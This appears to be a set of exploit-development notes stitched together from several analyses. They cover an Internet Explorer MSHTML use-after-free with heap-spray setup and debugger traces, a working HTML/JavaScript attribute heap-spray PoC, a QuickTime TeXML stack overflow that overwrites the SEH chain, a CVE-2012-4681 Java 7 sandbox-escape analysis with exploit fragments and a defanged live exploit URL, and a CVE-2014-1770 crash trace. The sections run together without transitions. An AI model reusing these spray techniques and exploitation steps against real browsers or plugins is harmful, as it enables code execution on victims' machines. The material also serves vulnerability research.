.text:63776EC8 call ?UpdateMarkupContentsVersion@CMarkup@@QAEXXZ ; it's the call we're using for corruption .text:63776ECD mov eax, [esi+98h] ; esi is the controlled object .text:63776ED3 test eax, eax .text:63776ED5 jz short loc_63776EED .text:63776ED7 cmp dword ptr [esi+1A4h], 15F90h .text:63776EE1 jl short loc_63776EED .text:63776EE3 mov eax, [eax+8] .text:63776EE6 and dword ptr [eax+2F0h], 0FFFFFFBFh ; We need to bypass this and, after that we get the control back :)
Reused object:
0:008> dd 061b90c8 Ld0 061b90c8 deadc0de 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b90d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b90e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b90f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9108 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9118 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9128 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9138 1a1b1ff0 1a1b1ff0 1a1b1ff1 9a1b1ff1 061b9148 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9158 1a1b1ff0 1a1b2004 1a1b200c 1a1b1ff0 061b9168 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9178 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9188 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9198 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91a8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91b8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91c8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9208 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9218 1a1b1ff0 1a1b1ff0 1a1b1ff0 42424242 061b9228 1a1b1ff4 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9238 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9248 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9258 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9268 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9278 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9288 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9298 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92a8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92b8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92c8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9308 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9318 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9328 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9338 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9348 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9358 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9368 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9378 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9388 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9398 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93a8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93b8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93c8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 00001ff0
Sprayed memory should look like:
0:008> dd eax+10 1a1b2000 00000001 1a1b203c 00000000 1a1b2098 1a1b2010 1a1b2064 1a1b2068 00000000 00000000 1a1b2020 00000000 00000000 00000000 00000000 1a1b2030 00000000 00000000 00000000 00000000 1a1b2040 00000000 00000000 00000000 00000000 1a1b2050 00000000 00000000 00000000 00000000 1a1b2060 00000000 00000000 00000000 00000000 1a1b2070 00000000 00000000 00000000 00000000 x=1a1b1ff0 ebx=0298eeb8 ecx=00000195 edx=061b90c8 esi=061b90c8 edi=0297d568 eip=67ed9457 esp=02efb54c ebp=02efb5b8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19: 67ed9457 8b8a94000000 mov ecx,dword ptr [edx+94h] ds:0023:061b915c=04201b1a 0:008> dd edx + 94 061b915c 1a1b2004 0:008> t eax=00000000 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568 eip=67ed9463 esp=02efb54c ebp=02efb5b8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x25: 67ed9463 8b410c mov eax,dword ptr [ecx+0Ch] ds:0023:1a1b2010=64201b1a 0:008> dd ecx + 0c 1a1b2010 1a1b2064 1a1b2068 00000000 00000000 1a1b2064 must point to sprayed memory with content "0" 0:008> t eax=1a1b2064 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568 eip=67e86ecd esp=02efb550 ebp=02efb5b8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 MSHTML!CMarkup::NotifyElementEnterTree+0x277: 67e86ecd 8b8698000000 mov eax,dword ptr [esi+98h] ds:0023:061b9160=0c201b1a 0:008> dd esi + 98 061b9160 1a1b200c 0:008> dd 1a1b200c 1a1b200c 1a1b2098 1a1b2064 1a1b2068 00000000 1a1b201c 00000000 00000000 00000000 00000000 1a1b202c 00000000 00000000 00000000 00000000 1a1b203c 00000000 00000000 00000000 00000000 1a1b204c 00000000 00000000 00000000 00000000 1a1b205c 00000000 00000000 00000000 00000000 1a1b206c 00000000 00000000 00000000 00000000 1a1b207c 00000000 00000000 00000000 00000000 0:008> t eax=1a1b200c ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568 eip=67e86ee3 esp=02efb550 ebp=02efb5b8 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 MSHTML!CMarkup::NotifyElementEnterTree+0x28d: 67e86ee3 8b4008 mov eax,dword ptr [eax+8] ds:0023:1a1b2014=68201b1a 0:008> dd eax+8 1a1b2014 1a1b2068
Simulate an spray with:
.dvalloc /b 1a1b1ff0 4000
THen go to 1a1b2004 and write:
1a1b203c 00000000 1a1b2098 1a1b2064 1a1b2068
After several tries I keep crashing curiously again:
0:008> r eax=00000000 ebx=02f0c028 ecx=1a1b1ff0 edx=04e68ad8 esi=04e68ad8 edi=02f02b00 eip=67ed9466 esp=036bb46c ebp=036bb4d8 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x28: 67ed9466 83b8c001000000 cmp dword ptr [eax+1C0h],0 ds:0023:000001c0=???????? 0:008> dd ecx+c 1a1b1ffc 00000000 00000003 1a1b203c 00000000 1a1b200c 1a1b2098 1a1b2064 1a1b2068 00000000
So we’re going to try adding to 1a1b1ffc => 1a1b205c => It adds some reliability,
but finally crashes again, looks like because finally we don’t control the reused
memory, someone else won the race :?
.dvalloc /b 1a1b1ff0 4000 f 1a1b1ffc L1C 5C 20 1B 1A 00 00 00 00 3C 20 1B 1A 00 00 00 00 98 20 1B 1A 64 20 1B 1A 68 20 1B 1A
Heap Spray with Attributes
In order to use the technique by vupen disclosed here:
http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php
the cloneNode doesn’t work anymore:
var cl0ne = test.cloneNode(true);
It won’t clone attribute values, so CAttrValue::Copy isn’t hit anymore. In order to solve, after checking
the xrefx to CattrValue::Copy there is an interesting new path:
CElement::mergeAttributes Here is PoC: function test() { var myDiv = document.getElementById("pwn") var test = document.createElement("select") test.setAttribute('obj0', "AAAAAAAAAAAAAAAAAAAA") test.setAttribute('obj1', new Date()) test.setAttribute('obj2', new Date()) test.setAttribute('obj3', "METASPLOIT") alert(test.attributes.length); alert(test.getAttribute('obj0')); var cl0ne = test.cloneNode(true); cl0ne.mergeAttributes(test); }
Spraying with Attributes, definite version:
<html> <head> <script> function myTest() { var test = document.createElement("select") for (var j = 0; j < 0x80; j++) { test.setAttribute('test' + j, unescape("%u0001")) } var empty = document.createElement("select") alert('oka, bp copy......') var myAttributes = new Array(); for (var i = 0; i < 0x20; i++) { myAttributes[i] = empty.cloneNode(true); myAttributes[i].mergeAttributes(test); } alert('oka, check what is there in memory...') alert(myAttributes[0].getAttribute('test0').length); //alert(myAttributes[0].test0.length); //alert(cl0ne.attributes.length); } </script> </head> <body onload="myTest();"> </body> </html>
It will spray 0x800 size structs (with the Variant types and the pointers to strings!)
Technical Analysis
-
Down p sub_67EED2E0+193 call dangerous_copy_sub_67EED1E0 <— Interesting (0x67EED473)
Down p sub_67EED2E0+1E7 call dangerous_copy_sub_67EED1E0
Down p sub_67EED2E0+23C call dangerous_copy_sub_67EED1E0
Down p sub_67EED2E0+28D call dangerous_copy_sub_67EED1E0
Down p manage_transform_sub_67EED810+B6 call dangerous_copy_sub_67EED1E0 (*) this is the one we have reviewed
We noticed that sub_67EED2E0+193 can also trigger the crash, with even longer data without triggering the warning. In this particular case, the parser is handling arguments ending with a "%", which can be reached as a 'color' argument, for example:
{ color: AAAAAAAAAAAAAA% }
Where "AAAAAAAAAAAAAA" will be copied on the stack. Also see poc3.xml for example. As a result, we get to overwrite the stack with more data (like I said), and we end up overwriting the SEH:
(c54.da8): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\QuickTime\QTSystem\QuickTime3GPP.qtx -
eax=00000030 ebx=0013cc25 ecx=0e0a7288 edx=0000355f esi=00140000 edi=0013cba0
eip=67eed1f3 esp=0013cb74 ebp=00000004 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
QuickTime3GPP!EatTx3gComponentDispatch+0x4033:
67eed1f3 8806 mov byte ptr [esi],al ds:0023:00140000=41
0:000> !exchain
0013ce24: 30303030
Invalid exception stack at 30303030
0:000> g
(c54.da8): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=30303030 edx=7c9032bc esi=00000000 edi=00000000
eip=30303030 esp=0013c7a4 ebp=0013c7c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
30303030 ?? ???
”`
quicktime.qts does not have Safe SEH protected.
The final version of the exploit can be found here:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/apple_quicktime_texml.rb
Technical Analysis
References
References about the attack:
- http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/
- http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
- http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html
- http://eromang.zataz.com/2012/08/27/oracle-java-0day-and-the-myth-of-a-targeted-attack/
- http://scrammed.blogspot.com/2012/08/analysing-cve-2012-xxxx-latest-java-0day.html
- http://www.us-cert.gov/cas/techalerts/TA12-240A.html
- http://www.kahusecurity.com/2012/java-0-day-using-latest-dadongs-js-obfuscator/
- http://thexploit.com/sec/java-facepalm-suntoolkit-getfield-vulnerability/
- http://immunityproducts.blogspot.com.ar/2012/08/java-0day-analysis-cve-2012-4681.html
- http://www.guardian.co.uk/technology/2012/aug/30/java-exploit-asian-hackers-says-symantec?newsfeed=true
References about the Java API used:
- http://www.docjar.com/html/api/java/beans/Statement.java.html // See ClassFinder & findMethod
- http://www.docjar.com/html/api/sun/awt/SunToolkit.java.html // See getField()
- http://docs.oracle.com/javase/7/docs/api/overview-summary.html
- http://www.oracle.com/technetwork/java/seccodeguide-139067.html
getField() wasn’t always public, see the following for an example:
http://javasourcecode.org/html/open-source/jdk/jdk-6u23/sun/awt/SunToolkit.java.html
Summary
This is a vulnerability specifically targeting Java 7. Some reports reveal the origin of the 0day
exploit comes from a popular exploit kit named “Gondad Exploit Kit” (google “ZZVnxA1X”), some people
also claim the 0day originally comes from VulnDisco, which is an exploit pack used by Immunity
Canvas. No matter, the public noticed the attack as a malware being hosted at 59.120.154.62, which
is a server located in Taiwan. The decompiled source also has strings (lyrics) such as
“woyouyizhixiaomaolv” and “conglaiyebuqi” indicating that whoever wrote it must know Mandarin Chinese
quite well, possibly China because that’s “Pinyin” input method, and he probably grew up there
due the choice of the song. It would be reasonable to say that someone in China has been using the
exploit, and hosts the malicious code on a compromised server in Taiwan.
The actual link to the live exploit is:
hxxp://59.120.154.62/meeting/index.html
The exploit takes advantage of two issues: The ClassFinder and MethodFinder.findMethod(). Both
were newly introduced in JDK 7. ClassFinder is a replacement for classForName back in JDK 6. It
allows untrusted code to obtain a reference and have access to a restricted package in JDK 7, which
can be used to abuse sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, we can
actually invoke getField() by abusing findMethod() in Statement.invokeInternal() (but getField()
must be public, and that’s not always the case in JDK 6) in order to access Statement.acc’s private
field, modify AccessControlContext, and then disable Security Manager. Once Security Manager is
disabled, we can execute arbitrary Java code.
Our exploit has been tested successfully against multiple platforms, including: IE, Firefox, Safari,
Chrome; Windows, Ubuntu, OS X, etc. We have even received reports claiming the exploit also works
against Solaris.
Timeline
Aug xx 2011 – Vulnerable code was introduced in JDK7
Apr xx 2012 – Oracle already aware of the vulnerabilities: http://www.theregister.co.uk/2012/08/30/oracle_knew_about_flaws/
Jun xx 2012 – Infected server hosting malware code: http://urlquery.net/report.php?id=70896
Aug 26 2012 – First blog emerged about the Java 0day: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
Aug 26 2012 – PoC extracted from the malicious site by Joshua Drake: https://twitter.com/jduck1337/status/239875285913317376
Aug 27 2012 – Metasploit exploit available: https://community.rapid7.com/community/metasploit/blog/2012/08/27/lets-start-the-week-with-a-new-java-0day
Aug 28 2012 – CVE assigned as CVE-2012-4681
Aug 30 2012 – Java 7 Update 7 available (out of band patch)
Exceptions happens on this line of the Exploit:
GetClass("sun.awt.SunToolkit") private Class GetClass(String paramString) throws Throwable { Object arrayOfObject[] = new Object[1]; arrayOfObject[0] = paramString; Expression localExpression = new Expression(Class.class, "forName", arrayOfObject); <=== localExpression.execute(); // (3) Fails !!! <==== return (Class)localExpression.getValue(); }
Through Expression it tries to do Class.forName(“sun.awt.SunToolkit”). Despite the use of
Expression, according to the Exception on Java6 root cause seems to be on Class.forName.
When checking java 7 api you can read:
public static Class classForName(String name) throws ClassNotFoundException Deprecated! As - of JDK version 7, replaced by ClassFinder#resolveClass(String) .
Returns the Class object associated with the class or interface with the given string name, using the default class loader
So maybe something was lost con ClassFinder#resolveClass….
Digging into source code of openjdk:
- On Java 7
======
jdk/src/share/classes/java/lang/Class.java public static Class<?> forName(String className) throws ClassNotFoundException { return forName0(className, true, ClassLoader.getCallerClassLoader()); } /** Called after security checks have been made. */ private static native Class<?> forName0(String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException; jdk/src/share/native/java/lang/Class.c JNIEXPORT jclass JNICALL Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname, jboolean initialize, jobject loader) .... cls = JVM_FindClassFromClassLoader(env, clname, initialize, loader, JNI_FALSE);
hotspot/src/share/vm/prims/jvm.cpp
JVM_ENTRY(jclass, JVM_FindClassFromClassLoader(JNIEnv* env, const char* name, jboolean init, jobject loader, jboolean throwError)) JVMWrapper3("JVM_FindClassFromClassLoader %s throw %s", name, throwError ? "error" : "exception"); // Java libraries should ensure that name is never null... if (name == NULL || (int)strlen(name) > Symbol::max_length()) { // It's impossible to create this class; the name cannot fit // into the constant pool. if (throwError) { THROW_MSG_0(vmSymbols::java_lang_NoClassDefFoundError(), name); } else { THROW_MSG_0(vmSymbols::java_lang_ClassNotFoundException(), name); } } TempNewSymbol h_name = SymbolTable::new_symbol(name, CHECK_NULL); Handle h_loader(THREAD, JNIHandles::resolve(loader)); jclass result = find_class_from_class_loader(env, h_name, init, h_loader, Handle(), throwError, THREAD); if (TraceClassResolution && result != NULL) { trace_class_resolution(java_lang_Class::as_klassOop(JNIHandles::resolve_non_null(result))); } return result; JVM_END
hotspot/src/share/vm/classfile/systemDictionary.cpp
jclass find_class_from_class_loader(JNIEnv* env, symbolHandle name, jboolean init, Handle loader, Handle protection_domain, jboolean throwError, TRAPS) { // Security Note: // The Java level wrapper will perform the necessary security check allowing // us to pass the NULL as the initiating class loader. klassOop klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL); KlassHandle klass_handle(THREAD, klass); // Check if we should initialize the class if (init && klass_handle->oop_is_instance()) { klass_handle->initialize(CHECK_NULL); } return (jclass) JNIHandles::make_local(env, klass_handle->java_mirror()); } hotspot/src/share/vm/classfile/systemDictionary.cpp klassOop SystemDictionary::resolve_or_fail(symbolHandle class_name, Handle class_loader, Handle protection_domain, bool throw_error, TRAPS) { klassOop klass = resolve_or_null(class_name, class_loader, protection_domain, THREAD); if (HAS_PENDING_EXCEPTION || klass == NULL) { KlassHandle k_h(THREAD, klass); // can return a null klass klass = handle_resolution_exception(class_name, class_loader, protection_domain, throw_error, k_h, THREAD); } return klass; } klassOop SystemDictionary::resolve_or_null(symbolHandle class_name, Handle class_loader, Handle protection_domain, TRAPS) { assert(!THREAD->is_Compiler_thread(), "Can not load classes with the Compiler thread"); if (FieldType::is_array(class_name())) { return resolve_array_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL); } else { return resolve_instance_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL); } }
…. First review of resolve_instance_class_or_null doesn’t spot anything interesting at first view! Maybe
I should check carefully
- On java6:
=====
jdk/src/share/native/java/lang/Class.c public static Class<?> forName(String className) throws ClassNotFoundException { return forName0(className, true, ClassLoader.getCallerClassLoader()); } /** Called after security checks have been made. */ private static native Class forName0(String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException;
hotspot/src/share/vm/prims/jvm.cpp
JVM_ENTRY(jclass, JVM_FindClassFromClassLoader(JNIEnv* env, const char* name, jboolean init, jobject loader, jboolean throwError)) JVMWrapper3("JVM_FindClassFromClassLoader %s throw %s", name, throwError ? "error" : "exception"); // Java libraries should ensure that name is never null... if (name == NULL || (int)strlen(name) > symbolOopDesc::max_length()) { // It's impossible to create this class; the name cannot fit // into the constant pool. if (throwError) { THROW_MSG_0(vmSymbols::java_lang_NoClassDefFoundError(), name); } else { THROW_MSG_0(vmSymbols::java_lang_ClassNotFoundException(), name); } } symbolHandle h_name = oopFactory::new_symbol_handle(name, CHECK_NULL); Handle h_loader(THREAD, JNIHandles::resolve(loader)); jclass result = find_class_from_class_loader(env, h_name, init, h_loader, Handle(), throwError, THREAD); if (TraceClassResolution && result != NULL) { trace_class_resolution(java_lang_Class::as_klassOop(JNIHandles::resolve_non_null(result))); } return result; JVM_END
jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init, Handle loader, Handle protection_domain, jboolean throwError, TRAPS) { // Security Note: // The Java level wrapper will perform the necessary security check allowing // us to pass the NULL as the initiating class loader. klassOop klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL); KlassHandle klass_handle(THREAD, klass); // Check if we should initialize the class if (init && klass_handle->oop_is_instance()) { klass_handle->initialize(CHECK_NULL); } return (jclass) JNIHandles::make_local(env, klass_handle->java_mirror()); }
hotspot/src/share/vm/classfile/systemDictionary.cpp
klassOop SystemDictionary::resolve_or_fail(Symbol* class_name, Handle class_loader, Handle protection_domain, bool throw_error, TRAPS) { klassOop klass = resolve_or_null(class_name, class_loader, protection_domain, THREAD); if (HAS_PENDING_EXCEPTION || klass == NULL) { KlassHandle k_h(THREAD, klass); // can return a null klass klass = handle_resolution_exception(class_name, class_loader, protection_domain, throw_error, k_h, THREAD); } return klass;
klassOop SystemDictionary::resolve_or_null(Symbol* class_name, Handle class_loader, Handle protection_domain, TRAPS) { assert(!THREAD->is_Compiler_thread(), "Can not load classes with the Compiler thread"); if (FieldType::is_array(class_name)) { return resolve_array_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL); } else if (FieldType::is_obj(class_name)) { ResourceMark rm(THREAD); // Ignore wrapping L and ;. TempNewSymbol name = SymbolTable::new_symbol(class_name->as_C_string() + 1, class_name->utf8_length() - 2, CHECK_NULL); return resolve_instance_class_or_null(name, class_loader, protection_domain, CHECK_NULL); } else { return resolve_instance_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL); } }
…. First review of resolve_instance_class_or_null doesn’t spot anything interesting at first view! Maybe
I should check carefully
So going high level….
As have been said before, on JDK 7, classForName has been replaced by ClassFinder#resolveClass
public static Class classForName(String name) throws ClassNotFoundException Deprecated! As - of JDK version 7, replaced by ClassFinder#resolveClass(String) . ClassFinder doesn't exist on JDK 6, so digging into JDK 7: * @see #resolveClass(String,ClassLoader) */ public static Class<?> resolveClass(String name) throws ClassNotFoundException { return resolveClass(name, null); } calls with loader == null.... /** * Returns the {@code Class} object associated with * the class or interface with the given string name, * using the given class loader. * <p> * The {@code name} can denote an array class * (see {@link Class#getName} for details). * <p> * If the parameter {@code loader} is null, * the class is loaded through the default class loader. * <p> * This method can be used to obtain * any of the {@code Class} objects * representing {@code void} or primitive Java types: * {@code char}, {@code byte}, {@code short}, * {@code int}, {@code long}, {@code float}, * {@code double} and {@code boolean}. * * @param name fully qualified name of the desired class * @param loader class loader from which the class must be loaded * @return class object representing the desired class * * @throws ClassNotFoundException if the class cannot be located * by the specified class loader * * @see #findClass(String,ClassLoader) * @see PrimitiveTypeMap#getType(String) */ public static Class<?> resolveClass(String name, ClassLoader loader) throws ClassNotFoundException { Class<?> type = PrimitiveTypeMap.getType(name); return (type == null) ? findClass(name, loader) : type; } /** * Returns the {@code Class} object associated with * the class or interface with the given string name, * using the given class loader. * <p> * The {@code name} can denote an array class * (see {@link Class#getName} for details). * <p> * If the parameter {@code loader} is null, * the class is loaded through the default class loader. * * @param name fully qualified name of the desired class * @param loader class loader from which the class must be loaded * @return class object representing the desired class * * @throws ClassNotFoundException if the class cannot be located * by the specified class loader * * @see #findClass(String,ClassLoader) * @see Class#forName(String,boolean,ClassLoader) */ public static Class<?> findClass(String name, ClassLoader loader) throws ClassNotFoundException { if (loader != null) { try { return Class.forName(name, false, loader); } catch (ClassNotFoundException exception) { // use default class loader instead } catch (SecurityException exception) { // use default class loader instead } } return findClass(name); }
Will call…. so here we go…. I suppose the difference could be how
Java 7 calls to Class.forName maybe….:
/** * Returns the {@code Class} object associated * with the class or interface with the given string name, * using the default class loader. * <p> * The {@code name} can denote an array class * (see {@link Class#getName} for details). * * @param name fully qualified name of the desired class * @return class object representing the desired class * * @throws ClassNotFoundException if the class cannot be located * by the specified class loader * * @see Class#forName(String) * @see Class#forName(String,boolean,ClassLoader) * @see ClassLoader#getSystemClassLoader() * @see Thread#getContextClassLoader() */ public static Class<?> findClass(String name) throws ClassNotFoundException { try { ClassLoader loader = Thread.currentThread().getContextClassLoader(); if (loader == null) { // can be null in IE (see 6204697) loader = ClassLoader.getSystemClassLoader(); } if (loader != null) { return Class.forName(name, false, loader); } } catch (ClassNotFoundException exception) { // use current class loader instead } catch (SecurityException exception) { // use current class loader instead } return Class.forName(name); }
In Java6
at java.security.AccessControlContext.checkPermission(Unknown Source) at java.security.AccessController.checkPermission(Unknown Source) at java.lang.SecurityManager.checkPermission(Unknown Source) at java.lang.SecurityManager.checkPackageAccess(Unknown Source) at sun.plugin2.applet.Applet2SecurityManager.checkPackageAccess(Unknown Source) at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at sun.plugin2.applet.Plugin2ClassLoader.loadClass0(Unknown Source) at sun.plugin2.applet.Plugin2ClassLoader.loadClass(Unknown Source) at sun.plugin2.applet.Plugin2ClassLoader.loadClass0(Unknown Source) at sun.plugin2.applet.Plugin2ClassLoader.loadClass(Unknown Source) at sun.plugin2.applet.Plugin2ClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Unknown Source)
My feeling is…. on Java7 the sun.plugin2.applet.Plugin2ClassLoader is not
being used….. sooo…. whhich one?…. maybe:
ClassLoader loader = Thread.currentThread().getContextClassLoader(); if (loader == null) { // can be null in IE (see 6204697) loader = ClassLoader.getSystemClassLoader(); }
maybe??? not sure 100% sorry, I would need debug it to see a little better…
The difference, could be, with JDK6, where the ClassFinder doesn’t exist, is which
forName would be call and ClassLoader.getCallerClassLoader() will be used…. could be???
/** * Returns the {@code Class} object associated with the class or * interface with the given string name. Invoking this method is * equivalent to: * * <blockquote> * {@code Class.forName(className, true, currentLoader)} * </blockquote> * * where {@code currentLoader} denotes the defining class loader of * the current class. * * <p> For example, the following code fragment returns the * runtime {@code Class} descriptor for the class named * {@code java.lang.Thread}: * * <blockquote> * {@code Class t = Class.forName("java.lang.Thread")} * </blockquote> * <p> * A call to {@code forName("X")} causes the class named * {@code X} to be initialized. * * @param className the fully qualified name of the desired class. * @return the {@code Class} object for the class with the * specified name. * @exception LinkageError if the linkage fails * @exception ExceptionInInitializerError if the initialization provoked * by this method fails * @exception ClassNotFoundException if the class cannot be located */ public static Class<?> forName(String className) throws ClassNotFoundException { return forName0(className, true, ClassLoader.getCallerClassLoader()); }
Technical Analysis
This is from crash2, gflags enabled
Originally discovered by Corelanc0d3r, see:
https://www.corelan.be/index.php/2014/05/22/on-cve-2014-1770-zdi-14-140-internet-explorer-8-0day/
Note
This was kept private until an official patch was out from Microsoft
0:008> r eax=00000000 ebx=00000000 ecx=7c91003d edx=00155000 esi=0cc2ef38 edi=0cc2ef38 eip=63621339 esp=037cfb88 ebp=037cfba4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CSelectionManager::EnsureEditContext+0x30: 63621339 837f1800 cmp dword ptr [edi+18h],0 ds:0023:0cc2ef50=???????? 0:008> !heap -p -a edi address 0cc2ef38 found in _DPH_HEAP_ROOT @ 151000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) c6bc350: cc2e000 2000 7c927553 ntdll!RtlFreeHeap+0x000000f9 6375bc86 mshtml!CSelectionManager::`vector deleting destructor'+0x00000022 6375b528 mshtml!CSelectionManager::Release+0x0000001e 6358c7b0 mshtml!CSelectionManager::DoPendingElementExit+0x00000211 6358c61b mshtml!CSelectionManager::DoPendingTasks+0x00000019 63621335 mshtml!CSelectionManager::EnsureEditContext+0x0000002c 6361c2bd mshtml!CHTMLEditor::Notify+0x0000005a 6361c270 mshtml!CHTMLEditorProxy::Notify+0x00000021 6360feb4 mshtml!CDoc::NotifySelection+0x00000059 63620f7f mshtml!CCaret::UpdateScreenCaret+0x000000dd 63784934 mshtml!CCaret::DeferredUpdateCaretScroll+0x00000032 6364de62 mshtml!GlobalWndOnMethodCall+0x000000fb 6363c3c5 mshtml!GlobalWndProc+0x00000183 7e418734 USER32!InternalCallWinProc+0x00000028 7e418816 USER32!UserCallWinProcCheckWow+0x00000150 7e4189cd USER32!DispatchMessageWorker+0x00000306
